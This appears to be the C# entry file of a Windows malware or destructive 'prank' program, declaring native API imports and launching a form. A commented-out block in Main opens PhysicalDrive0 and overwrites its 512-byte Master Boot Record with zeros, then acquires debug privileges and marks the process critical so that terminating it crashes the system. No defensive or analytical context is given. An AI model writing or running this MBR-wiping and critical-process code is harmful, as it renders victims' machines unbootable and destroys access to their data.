[DllImport("user32.dll")]
static extern IntPtr GetDesktopWindow();
[DllImport("user32.dll")]
static extern IntPtr GetWindowDC(IntPtr hwnd);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtSetInformationProcess(IntPtr hProcess, int processInformationClass, ref int processInformation, int processInformationLength);
[DllImport("user32.dll")]
private static extern bool SystemParametersInfoW(
uint uiAction,
uint uiParam,
string pvParam,
uint fWinIni);
/// <summary>
/// The main entry point for the application.
/// </summary>
/// \\
///
[DllImport("kernel32")]
private static extern IntPtr CreateFile(
string lpFileName,
uint dwDesiredAccess,
uint dwShareMode,
IntPtr lpSecurityAttributes,
uint dwCreationDisposition,
uint dwFlagsAndAttributes,
IntPtr hTemplateFile);
//https://msdn.microsoft.com/en-us/library/windows/desktop/aa365747(v=vs.85).aspx
[DllImport("kernel32")]
private static extern bool WriteFile(
IntPtr hFile,
byte[] lpBuffer,
uint nNumberOfBytesToWrite,
out uint lpNumberOfBytesWritten,
IntPtr lpOverlapped);
private const uint GenericRead = 0x80000000;
private const uint GenericWrite = 0x40000000;
private const uint GenericExecute = 0x20000000;
private const uint GenericAll = 0x10000000;
//dwShareMode
private const uint FileShareRead = 0x1;
private const uint FileShareWrite = 0x2;
//dwCreationDisposition
private const uint OpenExisting = 0x3;
//dwFlagsAndAttributes
private const uint FileFlagDeleteOnClose = 0x4000000;
private const uint MbrSize = 512u;
private static uint lpNumberOfBytesWritten;
[STAThread]
static void Main()
{
//string path = Path.Combine(Path.GetTempPath(), "bootrec.exe");
/*
var mbrData = new byte[MbrSize];
var mbr = CreateFile(
"\\\\.\\PhysicalDrive0",
GenericAll,
FileShareRead | FileShareWrite,
IntPtr.Zero,
OpenExisting,
0,
IntPtr.Zero);
if (mbr == (IntPtr)(-0x1))
{
return;
}
WriteFile(
mbr,
mbrData,
MbrSize,
out lpNumberOfBytesWritten,
IntPtr.Zero);
int isCritical = 1; // we want this to be a Critical Process
int BreakOnTermination = 0x1D; // value for BreakOnTermination (flag)
Process.EnterDebugMode(); //acquire Debug Privileges
NtSetInformationProcess(Process.GetCurrentProcess().Handle, BreakOnTermination, ref isCritical, sizeof(int));
*/
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Form1());
//setting the BreakOnTermination = 1 for the current process
}
}